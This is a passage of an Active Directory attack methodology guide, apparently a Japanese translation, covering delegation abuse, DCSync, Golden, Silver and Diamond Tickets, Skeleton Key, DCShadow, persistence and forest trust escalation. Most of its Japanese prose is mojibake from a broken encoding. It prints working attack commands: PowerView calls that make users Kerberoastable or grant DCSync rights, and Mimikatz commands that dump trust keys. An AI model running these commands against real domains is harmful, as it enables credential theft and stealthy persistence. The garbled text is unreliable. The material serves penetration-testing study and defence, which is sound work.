ãŠãŒã¶ãŒã MSSQL instances ã«ã¢ã¯ã»ã¹ããæš©é ãæã£ãŠããå ŽåãMSSQL ãã¹ãäžã§ïŒSA ãšããŠåäœããŠããã°ïŒã³ãã³ããå®è¡ããããNetNTLM hash ãçªåããããããã«ã¯ relay attack ãå®è¡ã§ããå¯èœæ§ããããŸãã
ãŸãããã MSSQL ã€ã³ã¹ã¿ã³ã¹ãå¥ã® MSSQL ã€ã³ã¹ã¿ã³ã¹ãã trustedïŒdatabase linkïŒ ã«ãªã£ãŠããå ŽåããŠãŒã¶ãŒã trusted database ã«å¯Ÿããæš©éãæã£ãŠããã°ãä¿¡é Œé¢ä¿ãå©çšããŠä»ã®ã€ã³ã¹ã¿ã³ã¹ã§ãã¯ãšãªãå®è¡ã§ããããã«ãªããŸãããããã® trust ã¯é£éããããšããããæçµçã«ã³ãã³ããå®è¡ã§ããããã« misconfigured ãªããŒã¿ããŒã¹ãèŠã€ããããšãããããŸãã
ããŒã¿ããŒã¹éã®ãªã³ã¯ã¯ forest trusts ãè¶ããŠãæ©èœããŸãã
IT asset/deployment platforms abuse
ãµãŒãããŒãã£ã®ã€ã³ãã³ããªããããã€ã¡ã³ãã¹ã€ãŒãã¯ããã°ãã°è³æ Œæ å ±ãã³ãŒãå®è¡ãžã®åŒ·åãªçµè·¯ãé²åºããŸããåç §ïŒ
Sccm Management Point Relay Sql Policy Secrets
Unconstrained Delegation
ãã Computer ãªããžã§ã¯ãã®å±æ§ã« ADS_UF_TRUSTED_FOR_DELEGATION ãèšå®ãããŠããŠããã€ãã®ã³ã³ãã¥ãŒã¿äžã§ãã¡ã€ã³ã®æš©éãæã£ãŠãããªãããã®ã³ã³ãã¥ãŒã¿ã«ãã°ã€ã³ããå
šãŠãŒã¶ãŒã®ã¡ã¢ãªãã TGT ããã³ãã§ããããã«ãªããŸãã
ã€ãŸããDomain Admin ããã®ã³ã³ãã¥ãŒã¿ã«ãã°ã€ã³ããã°ããã® TGT ããã³ãã㊠Pass the Ticket ã䜿ã£ãŠæ¬äººã«ãªãããŸãããšãå¯èœã§ãã
constrained delegation ãå©çšããã° Print Server ãèªåçã«ä¹ã£åãïŒéãè¯ããã°ããã DC ã§ããïŒããšããã§ããŸãã
Constrained Delegation
ãŠãŒã¶ãŒãã³ã³ãã¥ãŒã¿ã âConstrained Delegationâ ãèš±å¯ãããŠãããšããã®ã³ã³ãã¥ãŒã¿äžã®ããã€ãã®ãµãŒãã¹ã«å¯Ÿã㊠任æã®ãŠãŒã¶ãŒããªãããŸããŠã¢ã¯ã»ã¹ ã§ããããã«ãªããŸãã
ãã®ãŠãŒã¶ãŒ/ã³ã³ãã¥ãŒã¿ã® hash ã compromise ããã°ãïŒdomain admins ãå«ãïŒä»»æã®ãŠãŒã¶ãŒããªãããŸã㊠ããã€ãã®ãµãŒãã¹ã«ã¢ã¯ã»ã¹ã§ããããã«ãªããŸãã
Resourced-based Constrain Delegation
ãªã¢ãŒãã³ã³ãã¥ãŒã¿ã® Active Directory ãªããžã§ã¯ãã«å¯Ÿã㊠WRITE æš©é ãæã€ããšã¯ãææ Œããæš©éã§ã®ã³ãŒãå®è¡ ãåŸãææ®µã«ãªããŸãïŒ
Resource-based Constrained Delegation
Permissions/ACLs Abuse
䟵害ãããŠãŒã¶ãŒãããã€ãã®ãã¡ã€ã³ãªããžã§ã¯ãã«å¯Ÿã㊠è峿·±ãæš©é ãæã£ãŠããå Žåãããã«ããåŸã§æšªç§»åãæš©éã® escalate ãå¯èœã«ãªãããšããããŸãã
Abusing Active Directory ACLs/ACEs
Printer Spooler service abuse
ãã¡ã€ã³å ã§ Spool service ããªãã¹ã³ããŠãã ã®ãçºèŠãããšãããã æªçšã㊠æ°ããè³æ Œæ å ±ãååŸ ããã æš©éãææ Œ ãããã§ããŸãã
Force NTLM Privileged Authentication
Third party sessions abuse
ä»ã®ãŠãŒã¶ãŒã䟵害ããããã·ã³ã«ã¢ã¯ã»ã¹ãããšããã®ã¡ã¢ãªããè³æ Œæ
å ±ã åé ãããã圌ãã®ããã»ã¹ã« beacons ãã€ã³ãžã§ã¯ã ããŠãªãããŸãããšãå¯èœã§ãã
éåžžãŠãŒã¶ãŒã¯ RDP ã䜿ã£ãŠã·ã¹ãã ã«ã¢ã¯ã»ã¹ãããããããã§ã¯ãµãŒãããŒã㣠RDP ã»ãã·ã§ã³ã«å¯Ÿããããã€ãã®æ»æææ³ã玹ä»ããŸãïŒ
LAPS
LAPS ã¯ãã¡ã€ã³åå ããã³ã³ãã¥ãŒã¿ã® ããŒã«ã« Administrator password ã管çããããã®ã·ã¹ãã ã§ããã¹ã¯ãŒãã ã©ã³ãã åããŠããŒã¯åããã€é »ç¹ã« å€æŽ ããŸãããããã®ãã¹ã¯ãŒã㯠Active Directory ã«ä¿åãããã¢ã¯ã»ã¹ã¯ ACL ã«ãã£ãŠèš±å¯ããããŠãŒã¶ãŒã®ã¿ã«å¶åŸ¡ãããŸãããããã®ãã¹ã¯ãŒãã«ã¢ã¯ã»ã¹ããååãªæš©éãããã°ãä»ã®ã³ã³ãã¥ãŒã¿ãž pivot ããããšãå¯èœã«ãªããŸãã
Certificate Theft
䟵害ãããã·ã³ãã certificates ãåé ããããšã¯ãç°å¢å ã§æš©éãææ Œããææ®µã«ãªãåŸãŸãïŒ
Certificate Templates Abuse
vulnerable templates ãèšå®ãããŠããå ŽåãããããæªçšããŠæš©éãææ Œããããšãå¯èœã§ãïŒ
Post-exploitation with high privilege account
Dumping Domain Credentials
äžåºŠ Domain Adminããããã¯ããã« Enterprise Admin ã®æš©éãåŸããããã¡ã€ã³ããŒã¿ããŒã¹ã§ãã ntds.dit ã ãã³ã ã§ããŸãã
DCSync attack ã«é¢ãã詳现ã¯ãã¡ãã
NTDS.dit ãçªåããæ¹æ³ã«é¢ãã詳现ã¯ãã¡ã
Privesc as Persistence
åè¿°ããããã€ãã®ãã¯ããã¯ã¯ãæ°žç¶åã®ããã«ã䜿çšã§ããŸãã
äŸãã°æ¬¡ã®ãããªããšãå¯èœã§ãïŒ
- ãŠãŒã¶ãŒã Kerberoast ã«å¯ŸããŠè匱ã«ãã
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
- ãŠãŒã¶ãŒã ASREPRoast ã«å¯ŸããŠè匱ã«ãã
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
- ãŠãŒã¶ãŒã« DCSync æš©éãä»äžãã
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
Silver Ticket
Silver Ticket attack ã¯ãç¹å®ã®ãµãŒãã¹çšã« æ£åœãª Ticket Granting Service (TGS) ticket ã NTLM hashïŒäŸãã° PC account ã® hashïŒã䜿ã£ãŠäœæããæ»æã§ãããã®æ¹æ³ã¯ãµãŒãã¹ã®æš©éã«ã¢ã¯ã»ã¹ããããã«äœ¿çšãããŸãã
Golden Ticket
Golden Ticket attack ã¯ãæ»æè ã Active Directory ç°å¢ã«ããã krbtgt ã¢ã«ãŠã³ãã® NTLM hash ã«ã¢ã¯ã»ã¹ããããšã䌎ããŸãããã®ã¢ã«ãŠã³ãã¯ãã¹ãŠã® TGTs ã«çœ²åããããã«äœ¿çšãããç¹å¥ãªã¢ã«ãŠã³ãã§ãã
æ»æè ããã® hash ãåŸããšãä»»æã®ã¢ã«ãŠã³ãã®ããã« TGTs ãäœæã§ããããã«ãªããŸãïŒSilver ticket attack ã®ããã«ïŒã
Diamond Ticket
ããã¯äžè¬ç㪠golden ticket æ€åºã¡ã«ããºã ãåé¿ããããã«åœé ããã golden ticket ã«äŒŒãç©ã§ãã
Certificates Account Persistence
ã¢ã«ãŠã³ãã® certificates ãä¿æããããããã¯ãããèŠæ±ã§ãã ããšã¯ãïŒãŠãŒã¶ãŒããã¹ã¯ãŒãã倿ŽããŠãïŒãã®ãŠãŒã¶ãŒã¢ã«ãŠã³ãã«æ°žç¶åããéåžžã«æå¹ãªææ®µã§ãïŒ
Certificates Domain Persistence
Certificates ã䜿çšããŠãã¡ã€ã³å ã§é«ãæš©éãæã£ããŸãŸæ°žç¶åããããšãå¯èœã§ãïŒ
AdminSDHolder Group
Active Directory ã® AdminSDHolder ãªããžã§ã¯ãã¯ãDomain Admins ã Enterprise Admins ã®ãããª ç¹æš©ã°ã«ãŒã ã®ã»ãã¥ãªãã£ã確ä¿ããããã«ããããã®ã°ã«ãŒãã«å¯ŸããŠæšæºã® ACL ãé©çšããŠäžæ£ãªå€æŽãé²ããŸãããããããã®æ©èœã¯æªçšãããå¯èœæ§ããããæ»æè ã AdminSDHolder ã® ACL ã倿ŽããŠéåžžãŠãŒã¶ãŒã«ãã«ã¢ã¯ã»ã¹ãäžãããšããã®ãŠãŒã¶ãŒã¯ãã¹ãŠã®ç¹æš©ã°ã«ãŒãã«å¯Ÿããåºç¯ãªå¶åŸ¡ãåŸãããšã«ãªããŸããä¿è·ã®ããã®æ©èœãéã«ç£èŠãããŠããªããšäžæ£ã¢ã¯ã»ã¹ãããããå¯èœæ§ããããŸãã
AdminDSHolder Group ã«é¢ãã詳现ã¯ãã¡ãã
DSRM Credentials
ãã¹ãŠã® Domain Controller (DC) ã«ã¯ ããŒã«ã« administrator ã¢ã«ãŠã³ããååšããŸãããã®ãããªãã·ã³ã§ç®¡çè æš©éãååŸããã°ãmimikatz ã䜿ã£ãŠããŒã«ã« Administrator ã® hash ãæœåºã§ããŸãããã®åŸãã¬ãžã¹ããªã®å€æŽãå¿ èŠã«ãªãããã®ãã¹ã¯ãŒãã®äœ¿çšã æå¹å ããŠããŒã«ã« Administrator ã¢ã«ãŠã³ããžãªã¢ãŒãã§ã¢ã¯ã»ã¹ã§ããããã«ããŸãã
ACL Persistence
å°æ¥ã®æš©éææ Œãå¯èœã«ãããããªãç¹å®ã®ãã¡ã€ã³ãªããžã§ã¯ãã«å¯Ÿãã ç¹å¥ãªæš©é ã ãŠãŒã¶ãŒã«ä»äž ããããšãã§ããŸãã
Abusing Active Directory ACLs/ACEs
Security Descriptors
security descriptors ã¯ãªããžã§ã¯ããä»ã®ãªããžã§ã¯ãã«å¯ŸããŠæã€ permissions ã ä¿å ããããã«äœ¿çšãããŸãããªããžã§ã¯ãã® security descriptor ã«å°ã倿Žãå ããã ãã§ãç¹æš©ã°ã«ãŒãã®ã¡ã³ããŒã§ãªããŠããã®ãªããžã§ã¯ãã«å¯ŸããŠéåžžã«è峿·±ãæš©éãåŸãããšãã§ããŸãã
Skeleton Key
LSASS ã®ã¡ã¢ãªãæ¹å€ã㊠ãŠãããŒãµã«ãã¹ã¯ãŒã ãèšå®ãããã¹ãŠã®ãã¡ã€ã³ã¢ã«ãŠã³ããžã®ã¢ã¯ã»ã¹ãå¯èœã«ããŸãã
Custom SSP
SSP (Security Support Provider) ãšã¯äœãã¯ãã¡ããåç
§ããŠãã ããã
ç¬èªã® SSP ãäœæããŠããã·ã³ãžã¢ã¯ã»ã¹ããéã«äœ¿çšããã credentials ãå¹³æã§ãã£ãã㣠ããããšãã§ããŸãã
DCShadow
AD ã« æ°ãã Domain Controller ãç»é² ããããã䜿ã£ãŠæå®ãããªããžã§ã¯ãã«å¯ŸããŠïŒSIDHistoryãSPNsâŠïŒã®å±æ§ã ãã°ãæ®ããã« push ããŸãããããè¡ãã«ã¯ DA æš©éãšã«ãŒããã¡ã€ã³å
ã§ã®æäœãå¿
èŠã§ãã
ãã ãã誀ã£ãããŒã¿ã䜿çšãããšããªãç®ç«ã€ãã°ãåºãç¹ã«æ³šæããŠãã ããã
LAPS Persistence
åè¿°ã®éããLAPS ãã¹ã¯ãŒããèªãååãªæš©éãããã°æš©éææ Œãå¯èœã§ããããããã®ãã¹ã¯ãŒãã¯æ°žç¶åã«ã䜿çšã§ããŸãã
åç
§ïŒ
Forest Privilege Escalation - Domain Trusts
Microsoft 㯠Forest ãã»ãã¥ãªãã£å¢çãšèŠãªããŠããŸããããã¯ãåäžãã¡ã€ã³ã䟵害ããããšã§ Forest å šäœãå±éºã«ãããããå¯èœæ§ãããããšãæå³ããŸãã
Basic Information
domain trust ã¯ããã domain ã®ãŠãŒã¶ãŒãå¥ã® domain ã®ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ã§ããããã«ããã»ãã¥ãªãã£ã¡ã«ããºã ã§ããããã¯äºã€ã®ãã¡ã€ã³ã®èªèšŒã·ã¹ãã éã«é£æºãäœããèªèšŒæ å ±ã®ããåããã¹ã ãŒãºã«è¡ãããããã«ããŸãããã¡ã€ã³ã trust ãèšå®ãããšãç¹å®ã® keys ãããããã® Domain Controllers (DCs) ã«äº€æã»ä¿æãããã® trust ã®æŽåæ§ãä¿ã¡ãŸãã
å žåçãªã·ããªãªã§ã¯ããŠãŒã¶ãŒã trusted domain ã®ãµãŒãã¹ã«ã¢ã¯ã»ã¹ããã«ã¯ããŸãèªåã®ãã¡ã€ã³ã® DC ãã inter-realm TGT ãèŠæ±ããå¿ èŠããããŸãããã® TGT ã¯äž¡ãã¡ã€ã³ãå ±æãã key ã§æå·åãããŸãããŠãŒã¶ãŒã¯ãã® TGT ã trusted domain ã® DC ã«æç€ºããŠãµãŒãã¹ãã±ããïŒTGSïŒãååŸããŸããtrusted domain ã® DC ã inter-realm TGT ãæ€èšŒãããšãæå¹ã§ããã° TGS ãçºè¡ãããŠãŒã¶ãŒã«ãµãŒãã¹ãžã®ã¢ã¯ã»ã¹ãèš±å¯ããŸãã
æé :
- Domain 1 ã®ã¯ã©ã€ã¢ã³ãã³ã³ãã¥ãŒã¿ãèªèº«ã® NTLM hash ã䜿ã£ãŠ Domain Controller (DC1) ã« Ticket Granting Ticket (TGT) ãèŠæ±ããŸãã
- DC1 ã¯ã¯ã©ã€ã¢ã³ããèªèšŒããããšæ°ãã TGT ãçºè¡ããŸãã
- ã¯ã©ã€ã¢ã³ãã¯ãã®åŸãDomain 2 ã®ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ããããã« DC1 ãã inter-realm TGT ãèŠæ±ããŸãã
- inter-realm TGT ã¯ã2-way domain trust ã®äžéšãšã㊠DC1 ãš DC2 ãå ±æãã trust key ã§æå·åãããŸãã
- ã¯ã©ã€ã¢ã³ã㯠inter-realm TGT ã Domain 2 ã® Domain Controller (DC2) ã«æã£ãŠãããŸãã
- DC2 ã¯å ±æããã trust key ã䜿ã£ãŠ inter-realm TGT ãæ€èšŒããæå¹ã§ããã°ã¯ã©ã€ã¢ã³ããã¢ã¯ã»ã¹ããã Domain 2 ã®ãµãŒããŒã«å¯Ÿã㊠Ticket Granting Service (TGS) ãçºè¡ããŸãã
- æåŸã«ãã¯ã©ã€ã¢ã³ãã¯ãã® TGS ããµãŒããŒã«æç€ºãïŒãµãŒããŒã®ã¢ã«ãŠã³ã hash ã§æå·åãããŠããïŒãDomain 2 ã®ãµãŒãã¹ã«ã¢ã¯ã»ã¹ããŸãã
Different trusts
trust ã äžæ¹å ã åæ¹å ããååšããç¹ã«æ³šæããŠãã ãããåæ¹åã®å Žåãäž¡ãã¡ã€ã³ã¯äºããä¿¡é ŒããŸãããäžæ¹å ã® trust ã§ã¯äžæ¹ã trustedãããäžæ¹ã trusting ãã¡ã€ã³ã«ãªããŸãããã®å Žåãtrusted åŽãã㯠trusting ãã¡ã€ã³å ã®ãªãœãŒã¹ã«ã®ã¿ã¢ã¯ã»ã¹å¯èœã§ãã
Domain A ã Domain B ãä¿¡é ŒããŠããå ŽåãA ã trusting domainãB ã trusted domain ã§ããããã«ãDomain A ã§ã¯ããã Outbound trust ã«ãªããDomain B ã§ã¯ Inbound trust ã«ãªããŸãã
æ§ã 㪠trusting é¢ä¿
- Parent-Child Trusts: åäžãã©ã¬ã¹ãå ã§ããèŠãããæ§æã§ãchild domain ã¯èªåçã« parent domain ãšåæ¹åã®é·ç§» trust ãæã¡ãŸããããã«ãã芪ãšåã®éã§èªèšŒèŠæ±ãééçã«æµããŸãã
- Cross-link Trusts: âshortcut trustsâ ãšåŒã°ããchild domain éã§ referral ãé«éåããããã«èšå®ãããŸããè€éãªãã©ã¬ã¹ãã§ã¯èªèšŒ referral ã forest root ãŸã§äžãã£ãŠããç®çã®ãã¡ã€ã³ãžéããå¿ èŠããããŸãããcross-links ã«ãã£ãŠãã®çµè·¯ãççž®ãããŸãã
- External Trusts: ç°ãªããç¡é¢ä¿ãªãã¡ã€ã³éã§èšå®ãããéé·ç§»ç㪠trust ã§ããMicrosoft ã®ããã¥ã¡ã³ãã«ããã°ãexternal trusts 㯠forest trust ã§æ¥ç¶ãããŠããªããã©ã¬ã¹ãå€ã®ãã¡ã€ã³ã®ãªãœãŒã¹ãžã¢ã¯ã»ã¹ããéã«æçšã§ããå€éš trust ã§ã¯ SID filtering ã«ãã£ãŠã»ãã¥ãªãã£ã匷åãããŸãã
- Tree-root Trusts: ãã©ã¬ã¹ãã®ã«ãŒããã¡ã€ã³ãšæ°ãã远å ããã tree root éã§èªåçã«ç¢ºç«ããã trust ã§ããäžè¬çã§ã¯ãããŸãããããã©ã¬ã¹ãã«æ°ãããã¡ã€ã³ããªãŒã远å ããéã«éèŠã§ãäºæ¹åã®é·ç§»æ§ãç¶æããŸãã
- Forest Trusts: ããã¯äºã€ã® forest root domains éã®åæ¹åé·ç§» trust ã§ãSID filtering ã«ããã»ãã¥ãªãã£åŒ·åãè¡ããŸãã
- MIT Trusts: RFC4120 æºæ ã® Kerberos ãã¡ã€ã³ïŒé WindowsïŒãšç¢ºç«ããã trust ã§ããMIT trusts 㯠Windows 以å€ã® Kerberos ããŒã¹ã®ã·ã¹ãã ãšã®çµ±åãå¿ èŠãšããç°å¢åãã§ãã
Other differences in trusting relationships
- trust é¢ä¿ã¯ transitiveïŒA ã B ãä¿¡é ŒãB ã C ãä¿¡é Œãªã A 㯠C ãä¿¡é ŒïŒã«ã non-transitive ã«ãã§ããŸãã
- trust é¢ä¿ã¯ bidirectional trustïŒçžäºã«ä¿¡é ŒïŒãšããŠãããã㯠one-way trustïŒäžæ¹ã®ã¿ã仿¹ãä¿¡é ŒïŒãšããŠèšå®ã§ããŸãã
Attack Path
- trusting relationships ã åæ ãã
- ã©ã® security principalïŒuser/group/computerïŒã ä»ãã¡ã€ã³ã®ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ã§ããã ã確èªãããACE ãšã³ããªãä»ãã¡ã€ã³ã®ã°ã«ãŒãã«å«ãŸããŠãããã調ã¹ããã¡ã€ã³éã®é¢ä¿ ãæ¢ãïŒãããã trust ã¯ãã®ããã«äœãããŠããïŒã
- ãã®å Žå kerberoast ãå¥ã®ãªãã·ã§ã³ã«ãªãåŸãŸãã
- ãã¡ã€ã³ã暪æã㊠pivot ã§ããã¢ã«ãŠã³ãã compromise ããã
æ»æè ãå¥ãã¡ã€ã³ã®ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ããææ®µã¯äž»ã«æ¬¡ã®äžã€ã§ãïŒ
- Local Group Membership: ããªã³ã·ãã«ããã·ã³äžã® âAdministratorsâ ã°ã«ãŒãã®ãããªããŒã«ã«ã°ã«ãŒãã«è¿œå ããããšããã®ãã·ã³ã«å¯Ÿãã倧ããªå¶åŸ¡æš©ãåŸãŸãã
- Foreign Domain Group Membership: ããªã³ã·ãã«ãå€éšãã¡ã€ã³å ã®ã°ã«ãŒãã®ã¡ã³ããŒã§ããå ŽåããããŸãããã ãããã®æ¹æ³ã®æå¹æ§ã¯ trust ã®çš®é¡ãã°ã«ãŒãã®ç¯å²ã«äŸåããŸãã
- Access Control Lists (ACLs): ããªã³ã·ãã«ã ACLãç¹ã« DACL å ã® ACE ãšããŠæå®ãããŠããå Žåãç¹å®ã®ãªãœãŒã¹ãžã®ã¢ã¯ã»ã¹ãä»äžãããŸããACLãDACLãACE ã®ä»çµã¿ãæ·±ãçè§£ãããå Žåããã¯ã€ãããŒã㌠âAn ACE Up The Sleeveâ ãéåžžã«åèã«ãªããŸãã
Find external users/groups with permissions
ãã¡ã€ã³å
ã® foreign security principals ãèŠã€ããã«ã¯ CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com ã確èªã§ããŸããããã㯠å€éšã® domain/forest ããã® user/group ã§ãã
ããã Bloodhound ã powerview ã䜿ã£ãŠç¢ºèªã§ããŸãïŒ
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
Child-to-Parent forest privilege escalation
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
TargetName : domain.local --> foreign domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST --> WITHIN_FOREST: Both in the same forest
TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
ãã¡ã€ã³ä¿¡é Œãåæããä»ã®æ¹æ³:
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
Warning
2ã€ã® trusted keys ãããã1ã€ã¯ Child â> Parentããã1ã€ã¯ Parent â> Child çšã§ãã
çŸåšã®ãã¡ã€ã³ã§äœ¿çšãããŠããããŒã¯æ¬¡ã®ã³ãã³ãã§ç¢ºèªã§ããŸã:Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
SID-History Injection
SID-History injection ãæªçšããŠãã©ã¹ããå©çšããchild/parent domain ã«å¯Ÿã㊠Enterprise admin ãšããŠæš©éææ ŒããŸã:
Exploit writeable Configuration NC
Configuration Naming Context (NC) ãã©ã®ããã«æªçšããããããçè§£ããããšã¯éèŠã§ããConfiguration NC 㯠Active Directory (AD) ç°å¢ã«ããããã©ã¬ã¹ãå šäœã®æ§æããŒã¿ã®äžå€®ãªããžããªãšããŠæ©èœããŸãããã®ããŒã¿ã¯ãã©ã¬ã¹ãå ã®ãã¹ãŠã® Domain Controller (DC) ã«ã¬ããªã±ãŒããããæžã蟌ã¿å¯èœãª DC 㯠Configuration NC ã®æžã蟌ã¿å¯èœãªã³ããŒãä¿æããŸãããããæªçšããã«ã¯ãDC äžã§ã® SYSTEM æš©éïŒã§ããã°å DCïŒãå¿ èŠã§ãã
Link GPO to root DC site
Configuration NC ã® Sites ã³ã³ããã«ã¯ãAD ãã©ã¬ã¹ãå ã®ãã¡ã€ã³åå ã³ã³ãã¥ãŒã¿ã®ãµã€ãæ å ±ãå«ãŸããŸããä»»æã® DC äžã§ SYSTEM æš©éãæã€ããšã§ãæ»æè 㯠GPO ãã«ãŒã DC ã®ãµã€ãã«ãªã³ã¯ã§ããŸãããã®æäœã¯ããããã®ãµã€ãã«é©çšãããããªã·ãŒãæäœããããšã§ã«ãŒããã¡ã€ã³ãå±éºã«ãããå¯èœæ§ããããŸãã
For in-depth information, one might explore research on Bypassing SID Filtering.
Compromise any gMSA in the forest
æ»æãã¯ã¿ãŒãšããŠã¯ããã¡ã€ã³å ã®ç¹æš© gMSA ãçããã®ããããŸããgMSA ã®ãã¹ã¯ãŒãèšç®ã«å¿ èŠãª KDS Root key 㯠Configuration NC ã«æ ŒçŽãããŠããŸããä»»æã® DC äžã§ SYSTEM æš©éãæãŠã°ãKDS Root key ã«ã¢ã¯ã»ã¹ããŠãã©ã¬ã¹ãå ã®ä»»æã® gMSA ã®ãã¹ã¯ãŒããç®åºããããšãå¯èœã§ãã
Detailed analysis and step-by-step guidance can be found in:
Complementary delegated MSA attack (BadSuccessor â abusing migration attributes):
Badsuccessor Dmsa Migration Abuse
Additional external research: Golden gMSA Trust Attacks.
Schema change attack
ãã®ææ³ã¯ãæ°ãã«äœæãããç¹æš© AD ãªããžã§ã¯ããçŸããã®ãåŸ ã€å¿èãèŠããŸããSYSTEM æš©éãæãŠã°ãæ»æè 㯠AD ã¹ããŒãã倿ŽããŠä»»æã®ãŠãŒã¶ã«å šã¯ã©ã¹ã«å¯Ÿããå®å šãªã³ã³ãããŒã«ãäžããããšãã§ããŸããããã«ãããæ°ãã«äœæããã AD ãªããžã§ã¯ãã«å¯Ÿããäžæ£ãªã¢ã¯ã»ã¹ãšæ¯é ãå¯èœã«ãªããŸãã
From DA to EA with ADCS ESC5
ADCS ESC5 ã®è匱æ§ã¯ãPKI ãªããžã§ã¯ããæäœããŠãã©ã¬ã¹ãå ã®ä»»æã®ãŠãŒã¶ãšããŠèªèšŒã§ããèšŒææžãã³ãã¬ãŒããäœæããããšãçããŸããPKI ãªããžã§ã¯ã㯠Configuration NC ã«ååšãããããæžã蟌ã¿å¯èœãªå DC ãä¹ã£åãã° ESC5 æ»æãå®è¡ã§ããŸãã
More details on this can be read in From DA to EA with ESC5. In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in Escalating from Child Domain Admins to Enterprise Admins.
External Forest Domain - One-Way (Inbound) or bidirectional
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
ãã®ã·ããªãªã§ã¯ãããªãã®ãã¡ã€ã³ãå€éšãã¡ã€ã³ããä¿¡é ŒãããŠãããããã«ããå€éšãã¡ã€ã³ã«å¯ŸããŠäžæç¢ºãªæš©éãä»äžãããŠããŸããããªãã¯ãããªãã®ãã¡ã€ã³å ã®ã©ã®ããªã³ã·ãã«ãå€éšãã¡ã€ã³ã«å¯ŸããŠã©ã®ãããªã¢ã¯ã»ã¹æš©ãæã£ãŠããããç¹å®ãããããæªçšããããšè©Šã¿ãå¿ èŠããããŸã:
External Forest Domain - OneWay (Inbound) or bidirectional
å€éšãã©ã¬ã¹ããã¡ã€ã³ - äžæ¹åïŒã¢ãŠãããŠã³ãïŒ
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
TargetName : external.local --> Destination domain
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
ãã®ã·ããªãªã§ã¯ãããªãã®ãã¡ã€ã³ ã å¥ã®ãã¡ã€ã³ ã®ããªã³ã·ãã«ã«ããã€ãã® æš©é ã ä¿¡é ŒããŠãã ç¶æ ã§ãã
ããããä¿¡é ŒåŽã®ãã¡ã€ã³ã«ãã£ãŠ ãã¡ã€ã³ãä¿¡é Œããã ãšãä¿¡é Œããããã¡ã€ã³ã¯ äºæž¬å¯èœãªåå ãæã€ ãŠãŒã¶ãŒãäœæãããã¹ã¯ãŒããšããŠä¿¡é Œãã¹ã¯ãŒãã䜿çšããŸããã€ãŸããä¿¡é Œãããã¡ã€ã³ã®ãŠãŒã¶ãŒã«ã¢ã¯ã»ã¹ããŠä¿¡é Œããããã¡ã€ã³å ã«äŸµå ¥ããåæããããªãæš©éææ Œã詊ã¿ãããšãå¯èœã«ãªãããšããããšã§ãïŒ
External Forest Domain - One-Way (Outbound)
å¥ã®æ¹æ³ãšããŠãä¿¡é Œé¢ä¿ã®éæ¹åã«äœæãããSQL trusted linkãèŠã€ããããšã§ãä¿¡é Œããããã¡ã€ã³ã䟵害ããææ®µããããŸãïŒããã¯ããŸãäžè¬çã§ã¯ãããŸããïŒã
å¥ã®æ¹æ³ãšããŠãæ»æè ã¯ä¿¡é Œãã¡ã€ã³ã®ãŠãŒã¶ãŒãã¢ã¯ã»ã¹ã§ãããã·ã³ã§åŸ ã¡æ§ãããŠãŒã¶ãŒãRDPã§ãã°ã€ã³ãããšãããçãããšããããŸããæ»æè ã¯RDPã»ãã·ã§ã³ããã»ã¹ã«ã³ãŒããæ³šå ¥ãããããã被害è ã®ãªãªãžã³ãã¡ã€ã³ã«ã¢ã¯ã»ã¹ããããšãã§ããŸããããã«ããã被害è ãããŒããã©ã€ããããŠã³ãããŠããã°ãRDP sessionããã»ã¹ããããŒããã©ã€ãã®startup folderã«backdoorsãèšçœ®ããããšãå¯èœã§ãããã®ææ³ã¯**RDPInception.**ãšåŒã°ããŸãã
ãã¡ã€ã³ãã©ã¹ãæªçšã®ç·©å
SID Filtering:
- ãã©ã¬ã¹ãéã®ãã©ã¹ããæšªæããŠSID history屿§ãæªçšããæ»æã®ãªã¹ã¯ã¯ãSID Filteringã«ãã£ãŠè»œæžãããŸããSID Filteringã¯ãã¹ãŠã®ãã©ã¬ã¹ãéãã©ã¹ãã§ããã©ã«ãã§æå¹ã«ãªã£ãŠããŸããããã¯ããã€ã¯ããœããã®ç«å Žã«åŸããã»ãã¥ãªãã£å¢çããã¡ã€ã³ã§ã¯ãªããã©ã¬ã¹ããšããŠæ±ãããã©ã¬ã¹ãå ãã©ã¹ããå®å šãšæ³å®ããŠããããšã«åºã¥ããŠããŸãã
- ãã ãæ³šæç¹ãšããŠãSID Filteringã¯ã¢ããªã±ãŒã·ã§ã³ããŠãŒã¶ãŒã®ã¢ã¯ã»ã¹ãé»å®³ããå¯èœæ§ãããããã®ããäžæçã«ç¡å¹åãããããšããããŸãã
Selective Authentication:
